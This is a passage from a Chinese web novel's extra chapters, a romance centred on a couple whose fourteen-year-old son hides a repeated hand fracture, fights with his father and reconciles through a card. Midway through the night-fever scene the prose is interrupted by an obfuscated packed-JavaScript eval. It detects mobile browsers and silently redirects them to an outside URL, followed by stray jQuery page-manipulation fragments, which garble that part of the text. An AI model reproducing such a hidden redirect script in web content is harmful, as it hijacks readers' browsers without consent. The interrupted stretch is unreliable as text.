迟铎不信:“你别骗我。” “真没有。”裴与驰说,“他嫌脏手。” 迟铎紧盯着裴与驰的脸,说不出话,只是下意识把对方的手攥得更紧。 裴与驰看着他,忽然笑了一下:“怎么,心疼了?” 迟铎立刻嘴硬:“谁心疼你。”嘴硬完还嫌不够解气,他低头在裴与驰喉结上咬了一口,咬得不轻,很记仇。 裴与驰“嘶”了一声:“家暴?” “闭嘴。”迟铎凶他。手却顺着肩往下摸,摸到手腕,又摸到指节,一寸寸检查,不肯放过任何一处。 裴与驰任他检查,半点不阻止。等到最后,裴与驰才抬手捏了捏迟铎的耳垂,像给人消气:“我没事。” 迟铎不说话。他其实还想问:台阶是什么,你怎么给的,他怎么接的。可那些东西问出来只会让人更疼。 于是他换了个问法:“你难受吗?” 裴与驰看了他一会儿,终于肯给出一点真实反应:“有点烦,但不难受。” 迟铎盯着他半天,闷闷地说:“以后别一个人扛。” 裴与驰伸手把他捞进怀里,掌心落在他背上,轻轻拍了两下,像安抚,也像承诺:“我哪有一个人。” 迟铎想反驳,裴与驰已经低头亲了亲他的唇角。 “别想其他人。”他贴着耳边说,“想我。” 迟铎耳根一下热了,骂不出口,只能把脸埋进他肩窝里,闷声:“困了。” “好。”裴与驰应得很快,“睡觉。” 他还不忘把结论补齐:“悍妻发话,不敢不从。” 迟铎:“……” 他抬头瞪了他一眼,下一秒又贴回去,声音小得几乎听不见:“本来就一直只想你。” 而丽兹酒店那边,迟了了在床上翻来覆去,翻到第三十七次,林苹苹忍无可忍下最后通知单:“你再动就滚出去睡。” 迟了了消停了一会儿,突然翻起了旧账:“我想起大二那次了。” 林苹苹眼都没睁:“哪次?” “红绿灯那次。”迟了了声音很轻,“你是不是……早就发现了?” 林苹苹睁开眼,盯着天花板:“不然呢?” 她翻了个身,背对着他,懒得理旁边蠕了一晚的老毛虫:“我老花眼,看近的看不清,看远的也看不清吗?” 迟了了:“……” 他沉默了很久,在脑海里认真复盘当年的每个细节,最后憋出一句:“那你当时为啥不说?我们联手给他们搅黄了。” 那时候都还小,说不定真听父母的。 林苹苹呵呵一声:“那你觉得,他还能找到这么好的吗?” 迟了了被问住了。他认真想了想,裴与驰确实又帅又有钱又能干,就是性别不太对。 不能因为人家条件太好,就上赶着把儿子当女儿嫁了吧? 这个念头刚一冒出来,他越想越觉得自己站在道德高地上,忍不住批判老婆:“你不是爱诗和远方吗?” 怎么轮到给儿子挑对象,反而这么现实,这么势利,连性别也顾不上了。 林苹苹冷笑回敬: “你猜我为啥跟你结婚。” 迟了了:“……” 行。 儿子刚给了他一巴掌,老婆也没放过他,他彻底安静了。别人是迷你毛虫破茧成蝶,他是老毛虫直接躺尸,连蠕都懒得蠕。 找就找吧,反正被甩了别回来哭。 呵呵。 找谁不好,偏偏找金融男。 每年迟家那点信托,他都得跟负责人斗智斗勇,生怕对方一不留神把本金管理出个大缺口。 就这,不孝子居然还信金融男。 64.青春期2[番外] 橄榄球比赛现场人声鼎沸,风也很大。 看台上一排排的家长穿着冲锋衣,裹着围巾,手里捧着热咖啡和热狗,手机镜头倍数拉到最大,当放大镜用,全靠球衣的颜色和背后号码,艰难寻找自家的那只鸭子,像在玩大型真人版找不同。 迟铎今天带了单反和长焦。 他扫了一眼上座率和周围家长的专业程度,果断把设备先塞进裴与驰怀里,顺手指挥裴与驰往自己嘴里喂爆米花。自己则掏出手机,象征性拍了一圈:看台、球门、队旗——证明他们按时到场,是合格家长。然后迅速把照片分别发给老妈和婆婆,完成作业。 他一边吃,一边拍,耳朵也没闲着。 “Omg!Ethan is so cute~~~” 右耳边传来一个小女孩的声音。 迟铎动作一顿,下意识想回头,又硬生生忍住,怕小朋友尴尬。但他又实在好奇,于是开始表演:假装肩膀有虫子拍两下;假装风太大挥挥手;顺便用余光迅速扫过去,确认目标。 说cute的是个金发女孩,长得很可爱,笑得天真,眼睛黏在场上,正和同伴一起指指点点,寻找裴砚舟。 迟铎若无其事地收回视线,低声贴到裴与驰耳边:“刚才有个小女孩说Ethan很cute。” 裴与驰“嗯”了一声,视线没从场上移开:“所以?” 迟铎:“……” 裴与驰终于赏脸看了他一眼,理直气壮得很:“他是我们的儿子。” 这位现在自信得一塌糊涂,显然已经选择性失忆,完全忘记裴砚舟刚生出来那会儿,是谁站在保温箱前沉默良久,最后得出结论:儿子丑得让人绝望。 当妈的自信当然也不遑多让。 确实,Ethan要是不帅,那是对基因的不尊重。尤其这孩子跟他爸长得一模一样。 想到这里,迟铎的思绪却莫名拐了个弯,拐回一些陈年旧账,关于“这位到底有没有前科”的薛定谔阴影。他开始不太讲理地吃醋:“裴总年轻的时候,应该也经常被说cute吧。” 裴与驰想都没想:“我读男校。” 四个字,精准提醒妻子,年纪不算大,但记忆力已经开始下滑。 迟铎:“……” 裴与驰继续:“而且我天天跟你待在一起。就算有人说,也没机会让我听见。” 迟铎被说服,差点就被糊弄过去,幸好临门一脚,他想起来了:“那大学呢?” 裴与驰看了他一眼,没说话。 不说话就是默认,默认就是有故事。 迟铎火苗刚起,裴与驰已经把问题抛了回来:“你呢?” 迟铎:“……” 行。 扯平。 帅这种东西很客观,别人要夸也没办法。迟铎大度地原谅了老公被夸却没主动汇报这件事。 这对幼稚夫妇短暂安静下来,目光重新落回赛场。 队伍开始热身。 裴砚舟一出场,迟铎眼疾手快,手机镜头已经对准。下一秒,他又从裴与驰怀里把单反拎回来,长焦一上,咔嚓连拍,完全不在乎旁边家长投来的目光。 屏幕里的儿子身形挺拔,脸跟裴与驰像到近乎不讲道理。尤其侧脸,从迟铎这个角度看过去,几乎就是当年裴与驰踢球时的样子。 迟铎盯着屏幕欣赏了两秒,心里冒出一句自认极其客观的评价:真帅。 然后他才后知后觉地想起,自己现在的身份是家长,不是站姐……站哥。 他依依不舍地收起长焦,下一秒又举起手机,继续拍。 比赛开始。 迟铎的视线再没离开过赛场,准确说,没离开过裴砚舟。每一次看他冲进人墙,他的心就跟着提起来。明明动作很稳,跑位很准,可在那堆护具和撞击里,他还是控制不住地紧张,生怕一个不留神,人就倒下去,再也站不起来。 裴砚舟站在进攻阵型正中,四分卫。 球在他手里。开球那一下,他接得很稳,后撤,抬眼扫场,像是在脑子里迅速过了一遍线路。下一秒,抬臂、送肩、出手。动作干净利落,球在空中划出一道弧线,落点精准。 人群里有人喊了声:“nice!” 迟铎刚松一口气,下一秒,防守从侧后猛地冲进来。 裴砚舟来不及完全躲开,只能侧身护球。撞击把他肩膀顶得一偏,人也跟着失衡摔下去。右手几乎是本能地往地上一撑—— 哨声尖锐。 看台一片“No——”。 迟铎还没反应过来,裴与驰已经站了起来,站得极快,像条件反射。迟铎跟着抬头,心跳瞬间失序,他最怕的画面还是来了:裴砚舟倒在地上,抱着右手,大概率受了伤。 看台瞬间骚动。 有人喊教练,有人喊医护。 迟铎抓着栏杆往下看,喉咙发紧,裴与驰迅速拉近镜头,确认的一秒后就收起手机,伸手拉住迟铎:“走。” 医院的白炽灯亮得刺眼。 裴砚舟坐在病床边,右手被夹板固定着,脸色不太好看,嘴抿成一条线,像在跟谁暗暗较劲。 医生把片子放到灯下,语气平静:“老样子。还是这里。” 迟铎一愣:“老样子?” 医生翻了下病历,又看了裴砚舟一眼:“之前也骨折过吧?同一侧。没彻底恢复就继续对抗,肯定反复。” 病房里安静了一瞬。 迟铎的视线慢慢移到儿子脸上,等一个解释。裴砚舟没抬头,嘴唇动了动,没出声。 “之前?”迟铎的声音不自觉地绷紧,“什么时候的之前?” “……上个学期。” 声音低得几乎听不见。 迟铎又重复了一遍,像是在确认自己没听错:“上个学期?” 怪不得上学期有几个周末,裴砚舟都推说去了外校训练,他每次去宿舍都找不到人。 裴砚舟低下头,默认得很干脆。 迟铎脑子里嗡了一下。第一反应甚至不是生气,而是后怕。儿子受过这么重的伤,他竟然完全不知道。要是再严重一点,他不敢想后果。 而站在床尾的那个人,气压已经先一步降到了最低。裴与驰一直没说话,这时终于开口,语气冷得毫无余地:“退出球队。” “爸!”裴砚舟猛地抬头。 “没有第二个选择。” “凭什么?这是我的——”话音陡然拔高,火药味瞬间炸开。 “同一只手反复骨折。”裴与驰打断他,“你第一次还选择隐瞒。你学不会止损,我替你止损。” “我只是怕你们大惊小怪!” 裴与驰没接这句话,像已经不打算继续讨论:“我会和学校谈,教练也有责任。” 说完,他转身就走,门被带上,“砰”的一声。 迟铎愣在原地。事情发展得太快,他甚至还没来得及切换到和事佬模式,老公就已经完整演完了“发大火—拍板—走人”这一整套流程。 他下意识往门口看了一眼,确认裴与驰是真的不会折回来继续骂人。 确认完毕。 他指了指门口,又指回床上那只倔到不行的小鸭子。本来还打算坚定站队老公,配合一下,让这只不知天高地厚的鸭子明白隐瞒受伤不是小事。结果目光一落到那只被夹板绑得严严实实的右手上,立场当场开始松动。 绑得实在太结实了。 迟铎的声音不自觉地软下来:“你先……好好想想你爸说的。” 裴砚舟盯着门,嗓子发哑:“mommy……你们去哪?” 迟铎:“……” 他也想知道。 裴与驰这么多年第一次发这么大的火,走的时候还不带他。 迟铎沉默了两秒,脑子里飞快过了一遍所有可能:去找医生?去找校长?去找校方律师?去揍球队教练?除了最后一个,其他都不像。 想到这里,他忽然有点慌。主要是他很清楚,真要动手,裴与驰大概率打不过。 于是他随口敷衍了儿子一句:“……去给你爸买咖啡。” 说完立刻转身追了出去。 病房里只剩下裴砚舟,他低下头,看着自己被夹板固定住的右手,指尖动不了,握拳也做不到。他盯了很久,像终于后知后觉地意识到,这次是真的把父母惹急了。 尤其是他爸。 裴与驰并没有走出多远。他就靠在走廊尽头的墙边,脸色很冷,电话贴在耳边,语速很快。迟铎追出来时没立刻出声,先在拐角停住,听了两句。电话那头是公司的律师。裴与驰不断往外抛关键词,快速勾勒一张清单:学校、责任分配、医疗记录、风险告知……条理清晰,情绪却压得很低。 动真格了。 电话一挂,迟铎这才走过去,小声问:“你真要找教练的麻烦?” 他往病房方向看了一眼,小声补充,听着像替儿子求情,也像在安抚老公:“Ethan……是真的很喜欢他教练。队友们他也很喜欢。” “他的喜欢不重要。”裴与驰说,语气冷静得近乎冷酷,“他受伤才重要。” “一个十四岁的小孩,带伤上场。”裴与驰继续,“教练不知道,学校不知道,家长也不知道。” 他看向迟铎,“那谁负责?” 迟铎被问住了。 他看着裴与驰的神色,心里开始发紧。以前这种时候,反应过激的人是他,他会慌,会急,甚至忍不住眼泪。裴与驰负责冷静善后,把所有事情一件件处理完。 可这一次,角色彻底反过来了。 裴砚舟现在肯定觉得他爸控制欲爆棚,迟铎也承认,那些话听起来确实像不容置喙的命令。可迟铎太清楚了,裴与驰不是在控制儿子。 他是被吓到了。吓到连多余的情绪都来不及出现,只剩下最极端、最严密的保护。 “那现在怎么办?”迟铎决定彻底交给大冷脸男安排,先把这位的情绪慢慢捋顺。 裴与驰没有犹豫:“先转院。明天律师去学校谈。” 迟铎眨了下眼:“那Ethan知道了怎么办?” 这一整套下来,小冷脸男的情绪,大概率也会准时爆表。 裴与驰语气不变:“他会知道,但这不是他能决定的事。” 迟铎:“……” 他忽然有种很明确的预感,自家可能要正式开战。 “今晚先让他好好休息。”裴与驰说,“先别告诉他。我现在跟律师约在车里见一面。” 大冷脸男难得开恩,把战火延后了一晚。 迟铎松了口气,立刻顺着流程往下走:“那我跟他说你去哪了?” 裴与驰回头,给出的借口自然得没有一丝心理负担:“买咖啡。” 迟铎:“……” 他俩还真是两口子。 回病房的路上,迟铎开始疯狂头脑风暴,想着给老公补一个“听起来至少像个人”的去向。 总不能真跟骨折的儿子说:你爸嫌弃医院的廉价咖啡,去外面精品店买手冲了。 这是什么冷血无情、六亲不认的华尔街大鳄。 ……中鳄。 一路走到门口,迟铎都还没把咖啡这条故事线圆明白,脑子里还在疯狂加载合理性。幸好病房里有人替他救场,裴砚舟的队友们到了。 这群小伙子打完比赛几乎没歇,护具都来不及换,直接往医院冲。兄弟情谊浓得像魔爪,进门先排队弯腰抱人,嘴里一水儿的“man”,“buddy”,情感饱满又真挚。 说着说着,真开始哭了。 迟铎:“……” 他倚在门框边,看着一屋子青春期男孩抱成一团。裴砚舟右手吊着,照例冷着张脸,嘴上却在安慰别人:“我没事,真没事,别哭。” 迟铎看得心里一软。他忽然想起裴与驰没说出口、但概率不低的最终方案:转学。 如果真转了,这些友谊怎么办?而且裴砚舟也早就不是那个需要时刻抱着、护着的小bb了。此刻他坐在病床上,右手被夹板固定着,照样能左右开弓,用没受伤的那只手拍拍这个的背、揉揉那个的头,把一个个挤到他怀里的朋友哄到不哭。 迟铎原本还坚定走“大冷脸男路线”,这一刻却忍不住开始动摇。 送走这一屋子的温情后,裴与驰回来了。 迟铎先看了眼老公的脸色,确认完毕,心情并无任何好转迹象。 裴与驰进门第一眼就扫到裴砚舟,开口只有一个字:“走。” 命令不能更简洁,但一家人都懂:转院。 有钱的老爸从不相信普通医院的医疗水平,尤其是在“反复骨折”这种关键词出现之后。 迟铎下意识去拿裴砚舟的书包,动作熟练得像很多年前拎他上学。结果书包拎起来了,人没动。 裴砚舟还坐在床上,背挺得笔直,脸也冷:“我不想转院。”话说完,他又看了老爸一眼,显然不想把关系彻底闹僵,勉强补了一句:“这里离学校近,方便他们过来。远了……他们也会来,麻烦。” 话里话外,全是替那群刚发誓每天都来的队友们着想。 裴与驰无动于衷:“只有你是我儿子。” 意思再清楚不过,他没兴趣,也没心情照顾其他小朋友的情绪。 这句话彻底点燃了裴砚舟压了一整天的情绪。他盯着裴与驰,忽然冷笑了一声:“装什么?”眼眶已经红得很明显,却硬撑着不让眼泪掉下来:“你根本不在乎我喜欢什么、想要什么。你在乎的只有一件事,我听不听话。” 他停了一下,像是在脑子里翻最狠的词,翻到就往外砸,伤人也伤自己:“反正你有钱有势,我就算现在开始堕落,天天嗑药,烂到不行,你未来也照样能把我塞进藤校。” “Penn?Columbia?随便挑。” 裴砚舟声音发哑,越说越狠:“然后你就能继续在外面维持你的完美模范家庭,继续当那个永远不会出错的裴与驰。” 他盯着他爸,眼神倔得发疼:“甚至你随便从大街上捡个孩子都行。反正你要的又不是我,你要的只是一个听话的儿子。” “裴砚舟?”先忍不住的是一向最宠他的妈咪。迟铎声音压得很低,却比任何一次都严厉:“够了。” 裴与驰抬手按住迟铎,示意他别插手。 裴砚舟见他不说话,火气反而更盛:“不像教练。他是真的关心我在想什么。” 这句话落下去,迟铎清楚地看见裴与驰的下颌线绷紧了一瞬。 “他关心你?”裴与驰终于开口。 裴砚舟毫不退让:“至少他会听我说话。” 裴与驰点了下头:“那他以后没机会听了。” 裴砚舟愣住:“你什么意思?” 裴与驰语气平静得近乎残忍:“我已经要求学校更换负责你训练的教练。” 这句话像当头一巴掌,裴砚舟的声音都在抖:“凭什么?” “因为你带着伤上场。”裴与驰说,“他要么不知道,要么知道但允许。” 他停了一下,视线落在裴砚舟那只被固定住的右手上,火差点压不住:“不管是哪一种,都不配站在你旁边。” 裴砚舟眼眶彻底红了,胸口剧烈起伏,像下一秒就要爆炸:“你就只会这样!你只会越过我,。替我决定一切!” “你根本没把我当——”他咬着牙,声音发哑,硬生生把那口气吞下去,“你只想要我听话!” 裴与驰接得极快,连停顿都没有:“对。” 裴砚舟怔了一下,像没想到他爸会承认得这么干脆。 裴与驰看着他,语气不容置疑:“我要确保我儿子是百分百安全的。” “你讨厌我可以,受伤不行。” 这句话把裴砚舟所有的话都堵了回去,他偏过头,像怕自己下一秒就哭出来。裴与驰看了他一眼,没再多说,只留下一句:“我去车里等。” 依旧不让步,但选择先退场,给裴砚舟消化的时间。 儿子难过得不行,老公也委屈得不行。两个人正面硬撞,迟铎只觉得头都要炸了。 大的那位看着还能等等,小的这位已经快哭到撅过去了。迟铎认命地抽了把椅子坐下,抽出一张湿纸巾,像裴砚舟小时候一样给他擦眼泪。擦到一半,裴砚舟偏了下脸,不想让他看见。可眼泪不太听话,越躲越掉。 迟铎叹了口气,声音压得很低,怕刺激他,但又必须替老公说句话:“你的课外活动,你爸从来没缺席过。” 裴砚舟没吭声,睫毛上全是水,眨一下就往下掉。 迟铎看着他,语气还是温柔的,却不再完全纵着:“你以为他是为了当个好爸爸给别人看?” “不是。”迟铎顿了顿,“他是真的怕。” 裴砚舟喉结动了动,声音闷得发哑:“他怕什么。” 迟铎没急着回答,又抽了张新的湿巾继续替他擦眼角,动作很轻:“怕你出事。” “你的活动行程表,跟他的工作安排是放在一起的。”迟铎继续,“撞了时间,他推掉的永远是工作。” 裴砚舟还是不说话,眼泪却掉得更凶。 迟铎把纸巾折好,客观评价老公:“你爸不太会说好听的话,这点我承认。” 裴砚舟鼻音很重,小声顶了一句:“他就只会下命令。” “嗯。”迟铎点头,“他还挺享受。” 裴砚舟:“……” 迟铎看他终于有反应了,顺势说下去:“你爸的爱,确实有点控制狂。” 说完又立刻替不在场的老公撑腰:“但你也得承认,他不这样,我们家也不会这么有钱。到时候你就不是打球了,是去唱rap养家。” 裴砚舟:“……” 迟铎看他不再炸毛,才把重点拎出来:“他不是为了控制你。他是受不了自己不知道。” “不知道你受伤,不知道伤到哪儿,不知道疼不疼……更不知道会不会出更大的事。” 一颗眼泪掉下来,砸在夹板上,啪嗒一声,很轻。 “我不想他失望。” 倔强又别扭的青春期小孩,终于说了实话。可话一出口,反而更难堪。他嘴唇抿得发白,低下头。 所以他才央求教练隐瞒,想咬着牙把比赛打完,想拿个好成绩。 他太清楚了,他家人对他总是大惊小怪,要是知道他受伤,他一定会被包成木乃伊,被喂饭,被当成三岁小孩供起来。 就算他已经十四岁了。 迟铎动作顿了顿,心里酸得厉害,但没急着哄:“你爸不会因为你没拿到成绩就失望。” 裴砚舟睫毛颤了颤,还是没抬头。 迟铎继续,声音更轻:“他失望的只有两件事: 你瞒着他去做危险的事。 还有,他没能保护好你。” “你爸能接受你讨厌他,跟他吵架。”迟铎停了一下, “但他接受不了你出事。” 裴砚舟吸了吸鼻子,没反驳。 迟铎把湿纸巾丢进垃圾桶,抬手揉了揉他的头发,动作很轻,像把那点别扭一点点捋顺:“还有,不可以用‘随便捡个孩子代替你’这种话去气他。” “他不会捡。”迟铎说,“也不会要。” “没有你,你爸大概率这辈子都不会选择当爸爸。” “更不会从大街上随便捡个孩子来代替你。” “你是我们俩最得意的作品。”迟铎看着他,抚平青春期小孩的不安,“是独一无二,不可替代的。” 裴砚舟听完没再说话,眼泪慢慢停了,只剩下偶尔的抽噎。他把书包单肩背上,老老实实跟在后面,往车库走。 车里的气氛依旧僵硬。 迟铎一上车,就注意到台面上那包已经开封的香烟,心里大概有数:大冷脸男的情绪差不多已经到极限了。小冷脸男也差不多。 他试图打圆场,语气尽力放得很温柔:“饿吗?” 没人理。 裴与驰一边开车,一边伸手把储物空间打开。里面放着一个保温袋,拉链一拉开,香气瞬间冒出来——龙虾卷。 裴砚舟最爱吃的那家。 迟铎很配合:“哇,好香啊。” 还是没人理。 迟铎:“……” 给个面子行吗?两位。 他真的服了。大冷脸男幼稚得要命,就是不肯先开口示好。 再僵下去,小冷脸男的自尊心就要准时上线:坚决不吃他爸买的东西,然后二战爆发,话赶话到断绝关系。 绝对不行。 迟铎决定强行终止这一切。 他抽了纸巾,把龙虾卷分成能入口的大小,转身直接喂进裴砚舟嘴里:“张嘴。” 裴砚舟冷着脸。 还是吃了。 车停好后,裴与驰下车,绕到后座,一弯腰把裴砚舟的书包拎起就走,看也不看儿子一眼。迟铎赶紧跟上去,先牵住裴与驰的手,又回头,把后面那只别别扭扭、扭头也不看老爸的小鸭子也牵好。在老婆和妈咪的一番努力下,勉强算是个和谐的三口之家。 到了科室,裴砚舟被拎去重新检查了一遍,结果也没什么意外。毕竟再普通的医院,这种程度的骨折也出不了什么岔子。但医生很会看懂尊贵客人的眼色,于是非常体贴地建议观察一晚:怕再移位,怕疼得睡不着。 于是,一家三口顺利入住套房。 裴砚舟就知道会是这样的结局。 夜里裴砚舟却真的发起了低烧。大概是白天比赛折腾得太狠,又跟老爸吵完、哭完,身体应激了。他头疼得厉害,太阳穴一跳一跳的,连带着原本没太大感觉的右手也开始酸痛,像有人拿钝刀在里面慢慢磨。 外面没什么动静。 迟铎今天情绪跌宕起伏,听懂医生那句“没什么大碍”的潜台词后,沾枕头就睡了过去。 裴砚舟也没想叫醒他们,想着扛过去就好了。反正他一直都很擅长硬扛,尤其是在他爸面前。 结果门把手轻轻转动了一下。 咔哒。 裴砚舟心脏一跳,立刻把眼睛闭上装睡,呼吸都被刻意放慢。 裴与驰没开灯,只借着走廊那点暗光走到床边。他停了两秒,手背贴上裴砚舟的额头。 温度不对。 他的动作顿了一下,下一秒手掌覆上去,停得更久。 裴砚舟闭着眼,强迫自己别动。可他现在烧着,身体反应比脑子诚实,喉咙干得发疼,呼吸也压制不住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065168|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始乱起来。 裴与驰开口,声音压得很低:“醒着?” 裴砚舟不吭声,装死。 裴与驰也没拆穿,只收回手,转身去找温度计。 滴—— 体温计停在裴砚舟唇边。 “张嘴。” 裴砚舟还是不动。 裴与驰也没急,就这么停着。 裴砚舟输在年纪小,定力不够足,没过多久还是睁开了眼。声音哑得要命,嘴硬得也要命:“我没事。” 裴与驰看了他一眼,语气平静:“你有没有事,不是你说了算。” 裴砚舟:“……” 他终于不情不愿地张开嘴,把温度计含进去。 滴的一声。37.9。 裴与驰看了一眼,眉心皱了下,没说话,只转身去倒水、拆药。 水杯递过来。裴砚舟伸手去接,右手一动就酸得发麻,指尖都发紧。他硬撑着,假装没事。裴与驰没拆穿,只把杯子往前送了送。裴砚舟喝了两口。药放到他手心。裴砚舟抿着嘴,还是吞了。裴与驰盯着他把药咽下去,才把杯子拿走,声音很轻,却不容商量:“睡觉。” 说完他转身出去了。 裴砚舟闭上眼,脑子还在烧,昏昏沉沉的,没多久就开始迷糊。只是右手疼得他睡不踏实,一整晚都断断续续醒着。 他听见门被轻轻推开,又轻轻合上。脚步声压得很轻,像怕吵醒迟铎。水声偶尔响一下,毛巾拧干的声音也很短。紧接着额头一凉,湿润的毛巾擦过来,停一停,再挪开。 裴砚舟想继续装睡,偏偏身体诚实得很,热一阵冷一阵,呼吸也乱。他翻个身,毛巾就跟着换到另一边。 他没睁眼,也没说话。 但他知道,他爸没睡,就坐在旁边,守着他。 他一直熬到天快亮才迷迷糊糊睡过去。等再醒来已经是下午,烧退了,头还有点钝痛。 迟铎坐在旁边陪着他。听见动静立刻抬头,先伸手摸了摸裴砚舟的额头,确认温度正常才松口气:“醒了?饿不饿?” 裴砚舟摇摇头,又往房间里扫了一圈,没说话,但神色有点不自然。 迟铎看在眼里,没拆穿,只像随口一提:“你爸出去有点事。” 然后把被子掖了掖,动作很轻:“你昨晚吓死我了。” 迟铎后半夜做噩梦醒来,下意识伸手往旁边一摸,枕边空的,也没有一点温度。迟铎愣了两秒,披了外套就起身。推开房门就看见裴与驰坐在床边,儿子踢开的被子被他重新盖回去,手背隔一会儿贴上额头确认温度,毛巾也一直温着,擦一擦,停一停,再换个位置。 动作很熟练,熟到迟铎一眼就想起来,小海马时期开始,他爸就一直这么做。 迟铎看得心软,又来气。 又骨折又发烧,确实可怜,所以先不骂他是块叉烧。但青春期的问题宝宝请尽快跟他爸和好,别再折腾他老公了。 有这样的爸爸到底还要怎样?迟铎完全忘记了他老公几个小时前也幼稚得不行,跟儿子赌气不说话。 裴与驰出去办的事,裴砚舟大概不会想知道。他和律师直接去了学校,跟董事会谈了一轮,结果很明确:裴砚舟留在学校,也留在校队,这是裴砚舟自己争取的,也是裴与驰给他的余地。 但教练必须换,这是裴与驰的底线。 裴砚舟听到消息时,昨天白天那些尖刺并没有再露出来。他情绪当然不佳,却没再发火。他知道自己之前很幼稚,也知道教练的“袒护”其实不周全,也带着其他意味。最重要的,是他爸在警告所有人,他的儿子不能再冒一次险。 可他还是难受。不是因为教练被换,是因为他终于意识到,自己白天那些话有多混账,混账得像故意拿刀去戳一个很爱自己的人。 而更糟的是,他昨晚已经亲眼见过那种爱:守着他一整晚,反复确认温度,怕他出一点差错。 就……跟妈咪说的一样,不是控制,是害怕。 害怕真的会失去他。 最糟的是,他这么刻苦从来都不是为了出风头,也不是为了被人吹捧,更不是为了什么精英教育。 ……他只是想走他爸走过的路罢了。 谁让他从小就总被妈咪拎着去陪老爸出席一些重要活动呢。活动上的老爸……反正把他老妈迷得几十年如一日的不行。 所以他就也慢慢觉得,有一天,能让他老爸也觉得:他儿子很不错,挺好的。 就够了。 可他又没办法立刻变得坦率。青春期的小孩就是这样,可以偶尔跟妈咪撒娇,但对老爸实在很难袒露心声。 裴砚舟最终只低声说:“……我知道了。” 裴与驰看了他一眼:“嗯。” 对话结束。岌岌可危的父子关系,勉强回暖了一点。 一周后,迟铎照例去宿舍指挥专业的人做打扫,顺便帮小裴少和宿管的关系雪上再加点霜。 他还带了个钥匙扣,顺便给儿子回忆一下自己曾经有多可爱。 这次事故他心疼老公心疼得不行,看着儿子那副冷脸就来气,于是赶紧翻出小海马天使时期的回忆,才勉强找回一点对儿子的爱。翻着翻着才发现,当年定制的几百个钥匙扣居然还有一堆没拆包装。 裴砚舟被他爸抓着脚,倒着哭的样子实在太可爱了。 迟铎当场下定决心:儿子再不听话、再气他爸爸,他就去学校搞义卖,卖他儿子这个钥匙扣。以裴砚舟的人气,应该可以顺利售罄。 卖不完也没关系,送宿管,当赔罪。 没想到迟铎离开前把钥匙扣递过去,裴砚舟的表情不是无语,也不是嫌弃。他盯着那块爱心亚克力上印的照片看了几秒,然后很利落地挂到自己包上。 迟铎:“……” 不会吧?我儿子不会被烧坏了吧? 还没等迟铎震惊完,裴砚舟就开口:“Mommy。”喊完又没声了。 他突然不太自在,不知道该把眼睛放哪,干脆把脸扭到一边,盯着包上的钥匙扣看,声音闷闷的:“其实……我最崇拜的,不是我的教练。” 迟铎一愣。他看着儿子,没催促,只耐心等着。 裴砚舟抬手摸了下头,动作很尴尬,耳朵也有点红。他从裤子口袋里掏出一张贺卡,像掏出什么烫手的东西,递过来时手指还停顿了一下。 “可以帮我转交给……dad吗?” 迟铎接过。 裴砚舟明显松了口气,像终于把那口憋着的气吐出来。他抱了抱迟铎,抱得很轻,时间也很短,像怕抱久了就更难为情。抱完就别开脸:“我回宿舍了。” 迟铎“嗯”了一声,目送他转身走进走廊尽头。背影挺得笔直,夹板和绷带也压不住那股倔劲。 宿舍楼下安静下来。 迟铎低头看着手里的贺卡,封面是一只卡通爱因斯坦,白发飞扬,笑得很欠揍,上面还写着一句:you are relatively old. 迟铎:“……………………” 不对,这怎么看都不像道歉,更像嘲讽。 迟铎脑子里“咔”一下,瞬间警铃大作:不会吧?他儿子刚才那套“我最崇拜的是老爸”……不会是演给他看的吧?目的就是哄他心软,骗他回去转交这张贺卡,让大冷脸男再被阴阳一次,父子关系当场原地爆炸,直接三战开打。 ……好一只青春期小鸭子。心眼比球场战术还多。 这叉烧到底是要怎样?再这样,他真的要揍人了。 迟铎越想越气。 不行,绝对不行。 他自己都舍不得这么气他老公。 他沉默了两秒,环顾四周——没人。下一秒,他几乎没有犹豫,果断背叛儿子,提前把卡片打开了。 里面只有两行字,全大写,很认真,也很郑重。 第一行:“SORRY,DAD” 第二行:“LOVE YOU” 落款不是Ethan,是一笔一画、认认真真写出来的中文名:裴砚舟。 迟铎把卡片合上,鼻子忽然有点酸,心里软得一塌糊涂。 行。 嘴硬归嘴硬,爱也没少一点。 算了。 小宝贝终于肯把话说出来了。 太好了。 小冷脸男和大冷脸男,终于可以和好了。 结局: 迟铎一进门鞋都没换,径直走过去,献宝一样把那张贺卡拍到裴与驰面前。 “喏。” 裴与驰抬眼,视线落在贺卡上。封面是一只卡通爱因斯坦,白发飞扬,笑得很欠揍,那句英文明晃晃地印在封面上,刺眼地不行。 裴与驰:“……” 迟铎立刻举手,抢先声明:“不是我给你的,是裴砚舟。” 为了撇清哪怕一点关系,利索地报上了儿子的大名。 说完他又飞快补充,语气很真诚:“我提前验过货了。” 裴与驰抬眼看他:“你打开了?” 迟铎理直气壮,甚至有点被自己贴心到了:“不然呢?我舍得让你再被气一次?” 裴与驰沉默两秒,没评价,只把贺卡翻开。他盯着里面那两行字和落款看了一会儿,安静得过分。 迟铎在旁边紧盯着。手机早就偷偷打开了摄影模式,镜头稳稳对准裴与驰的脸,他是真想录个历史性画面。 毕竟他从没见过裴与驰哭。 他不信这还能不掉小珍珠,那也太坚强了吧? 结果下一秒,裴与驰把贺卡一合,抬手直接把迟铎的手机从他手里抽走,顺手扔到沙发上。 迟铎:“?” 裴与驰没给他反应时间,另一只手把人一捞,直接抱起来。 迟铎:“???” 裴与驰低头看着他,冷静批判:“你儿子的教育真的很有问题。” 迟铎:“……不是,你先放我下来。” 裴与驰继续,像宣布处理结果:“你要负责告诉他,我有多不老。” 迟铎:“………………” 迟铎真的很冤。 他就没觉得老公老过。 裴与驰一边准备白日宣淫,一边还不忘继续把老婆当传话筒,私人秘书使唤得相当自然:“还有——” 迟铎:“……你还‘还有’?” 裴与驰低头亲了他一下,继续说:“他要是想去沃顿,从现在开始,记得每年都去参加夏校和商赛。” 迟铎:“?” “不要让我求人要推荐信,很丢脸。” 迟铎:“…………………” “我可以勉为其难让他暑假来公司待两周,让他学会闭嘴听指令。” 